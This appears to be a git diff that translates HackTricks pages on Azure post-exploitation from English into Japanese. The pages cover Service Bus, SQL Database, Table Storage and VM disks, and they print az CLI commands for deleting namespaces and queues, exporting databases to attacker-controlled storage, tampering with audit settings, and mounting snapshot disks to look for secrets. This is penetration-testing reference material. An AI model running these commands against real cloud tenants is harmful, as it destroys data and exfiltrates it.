- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
For more information check:
|
||||
詳細については、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-servicebus-enum.md
|
||||
@@ -12,81 +12,65 @@ For more information check:
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/Delete`
|
||||
|
||||
An attacker with this permission can delete an entire Azure Service Bus namespace. This action removes the namespace and all associated resources, including queues, topics, subscriptions, and their messages, causing widespread disruption and permanent data loss across all dependent systems and workflows.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Service Busの名前空間全体を削除できます。このアクションは、名前空間とすべての関連リソース(キュー、トピック、サブスクリプション、およびそれらのメッセージ)を削除し、すべての依存システムとワークフローにおいて広範な混乱と永続的なデータ損失を引き起こします。
|
||||
```bash
|
||||
az servicebus namespace delete --resource-group <ResourceGroupName> --name <NamespaceName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/Delete`
|
||||
|
||||
An attacker with this permission can delete an Azure Service Bus topic. This action removes the topic and all its associated subscriptions and messages, potentially causing loss of critical data and disrupting systems and workflows relying on the topic.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Service Bus トピックを削除できます。このアクションはトピックとその関連するすべてのサブスクリプションおよびメッセージを削除し、重要なデータの損失を引き起こし、トピックに依存するシステムやワークフローを混乱させる可能性があります。
|
||||
```bash
|
||||
az servicebus topic delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/queues/Delete`
|
||||
|
||||
An attacker with this permission can delete an Azure Service Bus queue. This action removes the queue and all the messages within it, potentially causing loss of critical data and disrupting systems and workflows dependent on the queue.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Service Bus キューを削除できます。このアクションはキューとその中のすべてのメッセージを削除し、重要なデータの損失を引き起こし、キューに依存するシステムやワークフローを混乱させる可能性があります。
|
||||
```bash
|
||||
az servicebus queue delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete`
|
||||
|
||||
An attacker with this permission can delete an Azure Service Bus subscription. This action removes the subscription and all its associated messages, potentially disrupting workflows, data processing, and system operations relying on the subscription.
|
||||
|
||||
この権限を持つ攻撃者は、Azure Service Bus サブスクリプションを削除できます。このアクションはサブスクリプションとその関連メッセージをすべて削除し、サブスクリプションに依存するワークフロー、データ処理、およびシステム操作を潜在的に中断させる可能性があります。
|
||||
```bash
|
||||
az servicebus topic subscription delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read`
|
||||
|
||||
An attacker with permissions to create or modify Azure Service Bus namespaces can exploit this to disrupt operations, deploy unauthorized resources, or expose sensitive data. They can alter critical configurations such as enabling public network access, downgrading encryption settings, or changing SKUs to degrade performance or increase costs. Additionally, they could disable local authentication, manipulate replica locations, or adjust TLS versions to weaken security controls, making namespace misconfiguration a significant post-exploitation risk.
|
||||
|
||||
Azure Service Bus ネームスペースを作成または変更する権限を持つ攻撃者は、これを利用して操作を妨害したり、無許可のリソースを展開したり、機密データを露出させたりすることができます。彼らは、パブリックネットワークアクセスの有効化、暗号化設定のダウングレード、またはパフォーマンスを低下させたりコストを増加させたりするための SKU の変更など、重要な設定を変更することができます。さらに、ローカル認証を無効にしたり、レプリカの場所を操作したり、TLS バージョンを調整してセキュリティコントロールを弱体化させることも可能であり、ネームスペースの誤設定は重要なポストエクスプロイテーションリスクとなります。
|
||||
```bash
|
||||
az servicebus namespace create --resource-group <ResourceGroupName> --name <NamespaceName> --location <Location>
|
||||
az servicebus namespace update --resource-group <ResourceGroupName> --name <NamespaceName> --tags <Key=Value>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`)
|
||||
|
||||
An attacker with permissions to create or modify Azure Service Bus queues (to modiffy the queue you will also need the Action:`Microsoft.ServiceBus/namespaces/queues/read`) can exploit this to intercept data, disrupt workflows, or enable unauthorized access. They can alter critical configurations such as forwarding messages to malicious endpoints, adjusting message TTL to retain or delete data improperly, or enabling dead-lettering to interfere with error handling. Additionally, they could manipulate queue sizes, lock durations, or statuses to disrupt service functionality or evade detection, making this a significant post-exploitation risk.
|
||||
|
||||
攻撃者は、Azure Service Bus キューを作成または変更する権限を持っている場合(キューを変更するには、Action:`Microsoft.ServiceBus/namespaces/queues/read` も必要です)、これを利用してデータを傍受したり、ワークフローを妨害したり、無許可のアクセスを可能にしたりすることができます。彼らは、悪意のあるエンドポイントにメッセージを転送する、メッセージの TTL を調整してデータを不適切に保持または削除する、またはエラーハンドリングに干渉するためにデッドレターを有効にするなど、重要な設定を変更することができます。さらに、キューのサイズ、ロックの期間、またはステータスを操作してサービスの機能を妨害したり、検出を回避したりすることができるため、これは重要なポストエクスプロイテーションリスクとなります。
|
||||
```bash
|
||||
az servicebus queue create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
|
||||
az servicebus queue update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`)
|
||||
|
||||
An attacker with permissions to create or modify topics (to modiffy the topic you will also need the Action:`Microsoft.ServiceBus/namespaces/topics/read`) within an Azure Service Bus namespace can exploit this to disrupt message workflows, expose sensitive data, or enable unauthorized actions. Using commands like az servicebus topic update, they can manipulate configurations such as enabling partitioning for scalability misuse, altering TTL settings to retain or discard messages improperly, or disabling duplicate detection to bypass controls. Additionally, they could adjust topic size limits, change status to disrupt availability, or configure express topics to temporarily store intercepted messages, making topic management a critical focus for post-exploitation mitigation.
|
||||
|
||||
Azure Service Bus 名前空間内でトピックを作成または変更する権限を持つ攻撃者は、これを利用してメッセージワークフローを妨害したり、機密データを露出させたり、無許可のアクションを有効にしたりすることができます。az servicebus topic updateのようなコマンドを使用して、スケーラビリティの悪用のためにパーティショニングを有効にしたり、メッセージを不適切に保持または破棄するためにTTL設定を変更したり、制御を回避するために重複検出を無効にしたりするなどの構成を操作できます。さらに、トピックのサイズ制限を調整したり、可用性を妨害するためにステータスを変更したり、インターセプトされたメッセージを一時的に保存するためにエクスプレストピックを構成したりすることができるため、トピック管理はポストエクスプロイテーションの緩和において重要な焦点となります。
|
||||
```bash
|
||||
az servicebus topic create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
|
||||
az servicebus topic update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`)
|
||||
|
||||
An attacker with permissions to create or modify subscriptions (to modiffy the subscription you will also need the Action: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) within an Azure Service Bus topic can exploit this to intercept, reroute, or disrupt message workflows. Using commands like az servicebus topic subscription update, they can manipulate configurations such as enabling dead lettering to divert messages, forwarding messages to unauthorized endpoints, or modifying TTL and lock duration to retain or interfere with message delivery. Additionally, they can alter status or max delivery count settings to disrupt operations or evade detection, making subscription control a critical aspect of post-exploitation scenarios.
|
||||
|
||||
Azure Service Bus トピック内でサブスクリプションを作成または変更する権限を持つ攻撃者は、これを利用してメッセージワークフローを傍受、再ルーティング、または中断することができます。az servicebus topic subscription updateのようなコマンドを使用して、メッセージを転送するためにデッドレターを有効にする、無許可のエンドポイントにメッセージを転送する、またはメッセージ配信を保持または干渉するためにTTLやロック期間を変更するなどの設定を操作できます。さらに、ステータスや最大配信回数の設定を変更して操作を中断させたり、検出を回避したりすることができるため、サブスクリプション制御はポストエクスプロイテーションシナリオの重要な側面となります。
|
||||
```bash
|
||||
az servicebus topic subscription create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
|
||||
az servicebus topic subscription update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
|
||||
```
|
||||
### アクション: `AuthorizationRules` メッセージの送信と受信
|
||||
|
||||
### Actions: `AuthorizationRules` Send & Recive Messages
|
||||
|
||||
Take a look here:
|
||||
ここを見てください:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-queue-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
@@ -97,7 +81,3 @@ Take a look here:
|
||||
- https://learn.microsoft.com/en-us/cli/azure/servicebus/queue?view=azure-cli-latest
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SQL Database Post Exploitation
|
||||
|
||||
For more information about SQL Database check:
|
||||
SQL Databaseに関する詳細情報は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
@@ -12,8 +12,7 @@ For more information about SQL Database check:
|
||||
|
||||
### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
|
||||
|
||||
With these permissions, an attacker can create and update databases within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
|
||||
|
||||
これらの権限を持つ攻撃者は、侵害された環境内でデータベースを作成および更新することができます。このポストエクスプロイト活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。
|
||||
```bash
|
||||
# Create Database
|
||||
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
|
||||
@@ -21,73 +20,63 @@ az sql db create --resource-group <resource-group> --server <server-name> --name
|
||||
# Update Database
|
||||
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
|
||||
|
||||
With these permissions, an attacker can create and update elasticPools within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
|
||||
|
||||
これらの権限を持つ攻撃者は、侵害された環境内でelasticPoolsを作成および更新できます。このポストエクスプロイト活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。
|
||||
```bash
|
||||
# Create Elastic Pool
|
||||
az sql elastic-pool create \
|
||||
--name <new-elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--edition <edition> \
|
||||
--dtu <dtu-value>
|
||||
--name <new-elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--edition <edition> \
|
||||
--dtu <dtu-value>
|
||||
|
||||
# Update Elastic Pool
|
||||
az sql elastic-pool update \
|
||||
--name <elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--dtu <new-dtu-value> \
|
||||
--tags <key=value>
|
||||
--name <elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--dtu <new-dtu-value> \
|
||||
--tags <key=value>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
|
||||
|
||||
With this permission, you can modify or enable auditing settings on an Azure SQL Server. This could allow an attacker or authorized user to manipulate audit configurations, potentially covering tracks or redirecting audit logs to a location under their control. This can hinder security monitoring or enable it to keep track of the actions. NOTE: To enable auditing for an Azure SQL Server using Blob Storage, you must attach a storage account where the audit logs can be saved.
|
||||
|
||||
この権限を持つことで、Azure SQL Serverの監査設定を変更または有効にすることができます。これにより、攻撃者や認可されたユーザーが監査構成を操作し、痕跡を隠したり、監査ログを自分の管理下にある場所にリダイレクトしたりする可能性があります。これにより、セキュリティ監視が妨げられたり、行動を追跡することができなくなったりする可能性があります。注意:Blob Storageを使用してAzure SQL Serverの監査を有効にするには、監査ログを保存できるストレージアカウントを接続する必要があります。
|
||||
```bash
|
||||
az sql server audit-policy update \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state Enabled \
|
||||
--storage-account <storage_account_name> \
|
||||
--retention-days 7
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state Enabled \
|
||||
--storage-account <storage_account_name> \
|
||||
--retention-days 7
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
|
||||
|
||||
With this permission, you can modify the connection policies of an Azure SQL Server. This capability can be exploited to enable or change server-level connection settings
|
||||
|
||||
この権限を持つことで、Azure SQL Serverの接続ポリシーを変更できます。この機能は、サーバーレベルの接続設定を有効にしたり変更したりするために悪用される可能性があります。
|
||||
```bash
|
||||
az sql server connection-policy update \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--connection-type <Proxy|Redirect|Default>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--connection-type <Proxy|Redirect|Default>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/databases/export/action"
|
||||
|
||||
With this permission, you can export a database from an Azure SQL Server to a storage account. An attacker or authorized user with this permission can exfiltrate sensitive data from the database by exporting it to a location they control, posing a significant data breach risk. It is important to know the storage key to be able to perform this.
|
||||
|
||||
この権限を持つことで、Azure SQL Serverからストレージアカウントにデータベースをエクスポートできます。この権限を持つ攻撃者または認可されたユーザーは、データベースから敏感なデータをエクスポートして自分が管理する場所に持ち出すことができ、重大なデータ漏洩リスクを引き起こします。これを実行するには、ストレージキーを知っておくことが重要です。
|
||||
```bash
|
||||
az sql db export \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name> \
|
||||
--storage-uri <storage_blob_uri> \
|
||||
--storage-key-type SharedAccessKey \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name> \
|
||||
--storage-uri <storage_blob_uri> \
|
||||
--storage-key-type SharedAccessKey \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/databases/import/action"
|
||||
|
||||
With this permission, you can import a database into an Azure SQL Server. An attacker or authorized user with this permission can potentially upload malicious or manipulated databases. This can lead to gaining control over sensitive data or by embedding harmful scripts or triggers within the imported database. Additionaly you can import it to your own server in azure. Note: The server must allow Azure services and resources to access the server.
|
||||
|
||||
この権限を持つことで、Azure SQL Serverにデータベースをインポートできます。この権限を持つ攻撃者または認可されたユーザーは、悪意のあるまたは操作されたデータベースをアップロードする可能性があります。これにより、機密データの制御を獲得したり、インポートされたデータベース内に有害なスクリプトやトリガーを埋め込むことができます。さらに、自分のAzureサーバーにインポートすることもできます。注意: サーバーはAzureサービスとリソースがサーバーにアクセスすることを許可する必要があります。
|
||||
```bash
|
||||
az sql db import --admin-user <admin-user> \
|
||||
--admin-password <admin-password> \
|
||||
@@ -98,9 +87,4 @@ az sql db import --admin-user <admin-user> \
|
||||
--storage-key <storage-account-key> \
|
||||
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Table Storage Post Exploitation
|
||||
|
||||
For more information about table storage check:
|
||||
テーブルストレージに関する詳細情報は、以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-table-storage.md
|
||||
@@ -12,57 +12,49 @@ For more information about table storage check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/tableServices/tables/entities/read
|
||||
|
||||
A principal with this permission will be able to **list** the tables inside a table storage and **read the info** which might contain **sensitive information**.
|
||||
|
||||
この権限を持つプリンシパルは、テーブルストレージ内のテーブルを**一覧表示**し、**機密情報**を含む可能性のある**情報を読み取る**ことができます。
|
||||
```bash
|
||||
# List tables
|
||||
az storage table list --auth-mode login --account-name <name>
|
||||
|
||||
# Read table (top 10)
|
||||
az storage entity query \
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--top 10
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--top 10
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action
|
||||
|
||||
A principal with this permission will be able to **write and overwrite entries in tables** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some trusted data that could abuse some injection vulnerability in the app using it).
|
||||
|
||||
- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` allows all the actions.
|
||||
- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` allows to **add** entries
|
||||
- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` allows to **update** existing entries
|
||||
この権限を持つプリンシパルは、**テーブルにエントリを書き込み、上書きする**ことができ、これにより損害を引き起こしたり、特権を昇格させたりする可能性があります(例:アプリで使用される信頼されたデータを上書きし、いくつかのインジェクション脆弱性を悪用する)。
|
||||
|
||||
- 権限 `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` はすべてのアクションを許可します。
|
||||
- 権限 `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` はエントリを**追加**することを許可します。
|
||||
- 権限 `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` は既存のエントリを**更新**することを許可します。
|
||||
```bash
|
||||
# Add
|
||||
az storage entity insert \
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
|
||||
# Replace
|
||||
az storage entity replace \
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
|
||||
# Update
|
||||
az storage entity merge \
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
```
|
||||
|
||||
### \*/delete
|
||||
|
||||
This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**.
|
||||
これにより、共有ファイルシステム内のファイルを削除でき、**いくつかのサービスを中断させる**か、クライアントが**貴重な情報を失う**可能性があります。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,94 +4,81 @@
|
||||
|
||||
## VMs & Network
|
||||
|
||||
For more info about Azure VMs and networking check the following page:
|
||||
Azure VMs とネットワーキングに関する詳細情報は、以下のページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### VM Application Pivoting
|
||||
### VM アプリケーションピボッティング
|
||||
|
||||
VM applications can be shared with other subscriptions and tenants. If an application is being shared it's probably because it's being used. So if the attacker manages to **compromise the application and uploads a backdoored** version it might be possible that it will be **executed in another tenant or subscription**.
|
||||
VM アプリケーションは、他のサブスクリプションやテナントと共有できます。アプリケーションが共有されている場合、それはおそらく使用されているためです。したがって、攻撃者が **アプリケーションを侵害し、バックドア付きの** バージョンをアップロードすることに成功すれば、**別のテナントやサブスクリプションで実行される可能性があります**。
|
||||
|
||||
### Sensitive information in images
|
||||
### 画像内の機密情報
|
||||
|
||||
It might be possible to find **sensitive information inside images** taken from VMs in the past.
|
||||
|
||||
1. **List images** from galleries
|
||||
過去に取得した VM からの **画像内に機密情報が存在する可能性があります**。
|
||||
|
||||
1. **ギャラリーから画像をリストする**
|
||||
```bash
|
||||
# Get galleries
|
||||
az sig list -o table
|
||||
|
||||
# List images inside gallery
|
||||
az sig image-definition list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
-o table
|
||||
|
||||
# Get images versions
|
||||
az sig image-version list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
--gallery-image-definition <IMAGE_DEFINITION> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
--gallery-image-definition <IMAGE_DEFINITION> \
|
||||
-o table
|
||||
```
|
||||
|
||||
2. **List custom images**
|
||||
|
||||
2. **カスタムイメージのリスト**
|
||||
```bash
|
||||
az image list -o table
|
||||
```
|
||||
|
||||
3. **Create VM from image ID** and search for sensitive info inside of it
|
||||
|
||||
3. **イメージIDからVMを作成**し、その中に機密情報がないか検索する
|
||||
```bash
|
||||
# Create VM from image
|
||||
az vm create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <VM_NAME> \
|
||||
--image /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/galleries/<GALLERY_NAME>/images/<IMAGE_DEFINITION>/versions/<IMAGE_VERSION> \
|
||||
--admin-username <ADMIN_USERNAME> \
|
||||
--generate-ssh-keys
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <VM_NAME> \
|
||||
--image /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/galleries/<GALLERY_NAME>/images/<IMAGE_DEFINITION>/versions/<IMAGE_VERSION> \
|
||||
--admin-username <ADMIN_USERNAME> \
|
||||
--generate-ssh-keys
|
||||
```
|
||||
### リストアポイント内の機密情報
|
||||
|
||||
### Sensitive information in restore points
|
||||
|
||||
It might be possible to find **sensitive information inside restore points**.
|
||||
|
||||
1. **List restore points**
|
||||
**リストアポイント内に機密情報を見つけることができるかもしれません**。
|
||||
|
||||
1. **リストアポイントをリストする**
|
||||
```bash
|
||||
az restore-point list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--restore-point-collection-name <COLLECTION_NAME> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--restore-point-collection-name <COLLECTION_NAME> \
|
||||
-o table
|
||||
```
|
||||
|
||||
2. **Create a disk** from a restore point
|
||||
|
||||
2. **復元ポイントからディスクを作成する**
|
||||
```bash
|
||||
az disk create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <NEW_DISK_NAME> \
|
||||
--source /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/restorePointCollections/<COLLECTION_NAME>/restorePoints/<RESTORE_POINT_NAME>
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <NEW_DISK_NAME> \
|
||||
--source /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/restorePointCollections/<COLLECTION_NAME>/restorePoints/<RESTORE_POINT_NAME>
|
||||
```
|
||||
|
||||
3. **Attach the disk to a VM** (the attacker needs to have compromised a VM inside the account already)
|
||||
|
||||
3. **VMにディスクをアタッチする**(攻撃者はすでにアカウント内のVMを侵害している必要があります)
|
||||
```bash
|
||||
az vm disk attach \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--vm-name <VM_NAME> \
|
||||
--name <DISK_NAME>
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--vm-name <VM_NAME> \
|
||||
--name <DISK_NAME>
|
||||
```
|
||||
|
||||
4. **Mount** the disk and **search for sensitive info**
|
||||
4. **ディスクをマウント**し、**機密情報を検索**します
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# List all available disks
|
||||
sudo fdisk -l
|
||||
@@ -103,83 +90,70 @@ sudo file -s /dev/sdX
|
||||
sudo mkdir /mnt/mydisk
|
||||
sudo mount /dev/sdX1 /mnt/mydisk
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
#### **1. Open Disk Management**
|
||||
#### **1. ディスクの管理を開く**
|
||||
|
||||
1. Right-click **Start** and select **Disk Management**.
|
||||
2. The attached disk should appear as **Offline** or **Unallocated**.
|
||||
1. **スタート**を右クリックし、**ディスクの管理**を選択します。
|
||||
2. 接続されているディスクは**オフライン**または**未割り当て**として表示されるはずです。
|
||||
|
||||
#### **2. Bring the Disk Online**
|
||||
#### **2. ディスクをオンラインにする**
|
||||
|
||||
1. Locate the disk in the bottom pane.
|
||||
2. Right-click the disk (e.g., **Disk 1**) and select **Online**.
|
||||
1. 下部のペインでディスクを見つけます。
|
||||
2. ディスク(例:**ディスク 1**)を右クリックし、**オンライン**を選択します。
|
||||
|
||||
#### **3. Initialize the Disk**
|
||||
#### **3. ディスクを初期化する**
|
||||
|
||||
1. If the disk is not initialized, right-click and select **Initialize Disk**.
|
||||
2. Choose the partition style:
|
||||
- **MBR** (Master Boot Record) or **GPT** (GUID Partition Table). GPT is recommended for modern systems.
|
||||
1. ディスクが初期化されていない場合、右クリックして**ディスクの初期化**を選択します。
|
||||
2. パーティションスタイルを選択します:
|
||||
- **MBR**(マスターブートレコード)または**GPT**(GUIDパーティションテーブル)。現代のシステムにはGPTが推奨されます。
|
||||
|
||||
#### **4. Create a New Volume**
|
||||
#### **4. 新しいボリュームを作成する**
|
||||
|
||||
1. Right-click the unallocated space on the disk and select **New Simple Volume**.
|
||||
2. Follow the wizard to:
|
||||
- Assign a drive letter (e.g., `D:`).
|
||||
- Format the disk (choose NTFS for most cases).
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
1. ディスク上の未割り当てスペースを右クリックし、**新しいシンプルボリューム**を選択します。
|
||||
2. ウィザードに従って:
|
||||
- ドライブ文字を割り当てます(例:`D:`)。
|
||||
- ディスクをフォーマットします(ほとんどの場合、NTFSを選択します)。
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Sensitive information in disks & snapshots
|
||||
### ディスクとスナップショット内の機密情報
|
||||
|
||||
It might be possible to find **sensitive information inside disks or even old disk's snapshots**.
|
||||
|
||||
1. **List snapshots**
|
||||
**ディスクや古いディスクのスナップショット内に機密情報を見つけることができるかもしれません**。
|
||||
|
||||
1. **スナップショットのリスト**
|
||||
```bash
|
||||
az snapshot list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
-o table
|
||||
```
|
||||
|
||||
2. **Create disk from snapshot** (if needed)
|
||||
|
||||
2. **スナップショットからディスクを作成** (必要に応じて)
|
||||
```bash
|
||||
az disk create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <DISK_NAME> \
|
||||
--source <SNAPSHOT_ID> \
|
||||
--size-gb <DISK_SIZE>
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <DISK_NAME> \
|
||||
--source <SNAPSHOT_ID> \
|
||||
--size-gb <DISK_SIZE>
|
||||
```
|
||||
3. **ディスクをVMにアタッチしてマウント**し、機密情報を検索します(これを行う方法については前のセクションを確認してください)
|
||||
|
||||
3. **Attach and mount the disk** to a VM and search for sensitive information (check the previous section to see how to do this)
|
||||
### VM拡張機能およびVMアプリケーション内の機密情報
|
||||
|
||||
### Sensitive information in VM Extensions & VM Applications
|
||||
|
||||
It might be possible to find **sensitive information inside VM extensions and VM applications**.
|
||||
|
||||
1. **List all VM apps**
|
||||
**VM拡張機能およびVMアプリケーション内に機密情報を見つけることができるかもしれません**。
|
||||
|
||||
1. **すべてのVMアプリをリストアップ**
|
||||
